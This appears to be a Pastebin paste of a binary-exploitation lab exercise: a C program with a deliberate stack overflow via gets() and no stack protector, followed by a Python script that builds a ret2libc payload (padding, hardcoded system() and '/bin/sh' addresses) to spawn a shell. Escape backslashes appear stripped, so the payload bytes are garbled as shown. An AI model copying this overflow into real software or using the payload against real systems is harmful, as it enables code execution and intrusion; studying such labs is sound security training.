Guest User

Untitled

a guest
Dec 11th, 2017
52
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.77 KB | None | 0 0
  1. #include <stdlib.h>
  2. #include <stdio.h>
  3.  
  4. /* gcc -fno-stack-protector -o lab5C lab5C.c */
  5.  
  6. char global_str[128];
  7.  
  8. /* reads a string, copies it to a global */
  9. void copytoglobal()
  10. {
  11. char buffer[128] = {0};
  12. gets(buffer);
  13. memcpy(global_str, buffer, 128);
  14. }
  15.  
  16. int main()
  17. {
  18. char buffer[128] = {0};
  19.  
  20. printf("I included libc for you...n"
  21. "Can you ROP to system()?n");
  22.  
  23. copytoglobal();
  24.  
  25. return EXIT_SUCCESS;
  26. }
  27.  
  28. from __future__ import print_function
  29. import sys
  30.  
  31. orig_stdout = sys.stdout
  32. f = open('out.txt', 'w')
  33. sys.stdout = f
  34.  
  35. print("A"*156, end='')
  36.  
  37. print("xa0x6fxe2xf7", end='') #system's adress read from p* system
  38. print("ABCD", end='') #errasing return adress with garbage
  39. print("x97xdfxffxff") #"/bin/sh"
  40.  
  41. sys.stdout = orig_stdout
  42. f.close()
Add Comment
Please, Sign In to add comment